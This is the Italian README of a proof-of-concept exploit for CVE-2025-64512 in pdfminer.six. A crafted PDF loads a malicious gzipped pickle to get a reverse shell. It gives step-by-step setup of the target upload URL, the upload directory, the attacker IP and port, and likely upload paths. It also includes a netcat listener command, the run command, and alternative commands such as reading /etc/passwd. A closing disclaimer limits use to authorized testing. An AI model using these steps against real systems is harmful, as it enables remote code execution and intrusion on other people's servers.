
Exploit per CVE-2025-64512 per ottenere una reverse shell.
Questo proof-of-concept dimostra una vulnerabilità in pdfminer.six (CVE-2025-64512) che può portare all'esecuzione arbitraria di comandi quando viene elaborato un PDF malintenzionato. L'exploit utilizza un PDF appositamente creato che fa riferimento a un pickle Python malintenzionato compresso con gzip. Quando l'applicazione vulnerabile analizza il PDF, carica il pickle ed esegue il payload incorporato.
Il PoC incluso è configurato per eseguire una reverse shell Python, ma il payload può essere sostituito con qualsiasi comando.
requestsInstalla la dipendenza richiesta:
pip install requests
Prima di eseguire l'exploit, modifica la sezione di configurazione in exploit.py:
BASE_URL = ""
UPLOAD_DIR = ""
LHOST = ""
LPORT = 4444
L'URL dell'endpoint di upload vulnerabile.
Esempio:
BASE_URL = "http://target/upload.php"
L'exploit carica sia il PDF malintenzionato che il pickle compresso su questo endpoint.
La directory assoluta sul target dove sono archiviati i file caricati.
Esempio:
UPLOAD_DIR = "/var/www/html/uploads"
Questo percorso è incorporato all'interno del PDF generato e deve corrispondere alla posizione da cui l'applicazione vulnerabile leggerà successivamente il pickle caricato.
Se la directory di upload è sconosciuta, determinarla durante l'enumerazione. A seconda dell'applicazione, le tecniche utili includono:
Le posizioni tipiche includono:
/var/www/html/uploads
/var/www/uploads
/srv/www/uploads
/opt/application/uploads
La directory corretta dipende interamente dall'applicazione target.
Il tuo indirizzo IP per il listener.
Esempio:
LHOST = "10.10.14.5"
La porta di ascolto per la reverse shell.
Esempio:
LPORT = 4444
Avvia un listener prima di eseguire l'exploit:
nc -lvnp 4444
Esegui l'exploit:
python3 exploit.py
Lo script:
evil.pickle.gz.Invece di una reverse shell, qualsiasi comando del sistema operativo può essere eseguito modificando il comando passato a:
create_pickle_with_cmd(command)
Esempi includono:
id
whoami
uname -a
cat /etc/passwd
Questo proof-of-concept è fornito esclusivamente a scopo educativo, per ricerca sulla sicurezza e per test di penetrazione autorizzati. Utilizzalo solo contro sistemi per i quali hai esplicita autorizzazione per eseguire test di sicurezza.